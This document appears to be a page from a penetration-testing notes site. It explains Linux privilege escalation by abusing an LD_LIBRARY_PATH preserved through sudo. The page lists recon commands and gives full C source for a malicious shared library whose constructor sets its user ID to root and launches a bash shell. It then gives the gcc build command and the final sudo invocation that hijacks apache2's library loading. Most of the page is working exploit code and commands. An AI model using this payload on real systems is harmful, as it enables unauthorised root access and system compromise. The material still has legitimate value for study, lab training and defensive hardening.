# LD\_LIBRARY\_PATH

Programs running via sudo can inherit variables from the environment of the user. If the **env\_reset** option is set in the **/etc/sudoers** config file, sudo will run the programs in a new, minimal *environment*. The **env\_keep** option can be used to keep certain environment variables from the user’s environment. The configured options are displayed when running **sudo -l**.

The **LD\_LIBRARY\_PATH** is inherited from the user's environment. The **LD\_LIBRARY\_PATH** contains a list of directories which search for shared libraries first. 

### Steps

#### Investigate the sudo-able programs and the libraries used. 

{% code overflow="wrap" %}

```bash
# Check if you see any sudo configuration for your usrname
sudo -l
```

{% endcode %}

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2Fo3Dg3bIGz2TlPm4pfotA%2Fimage.png?alt=media&#x26;token=ebb3df57-001f-4bbf-a7a6-aafccbdc3d45" alt=""><figcaption></figcaption></figure>

```bash
# Check if you have libray for the programs. In this case, apache2
ldd /usr/sbin/iftop
... 
ldd /usr/sbin/apache2
```

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FGXLprzy3Szocc5DmIBIW%2Fimage.png?alt=media&#x26;token=29827f1d-f52e-4376-bca9-4354e577b32b" alt=""><figcaption></figcaption></figure>

#### Compile the following code and make it so library.

```c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}
```

```bash
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
```

#### Execute to escalate the privilege

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FUNyROy8ru9Cauf2NsLk2%2Fimage.png?alt=media&#x26;token=03b62e3c-eceb-4a89-8764-1b01a5842969" alt=""><figcaption></figcaption></figure>

```bash
sudo LD_LIBRARY_PATH=/tmp apache2
```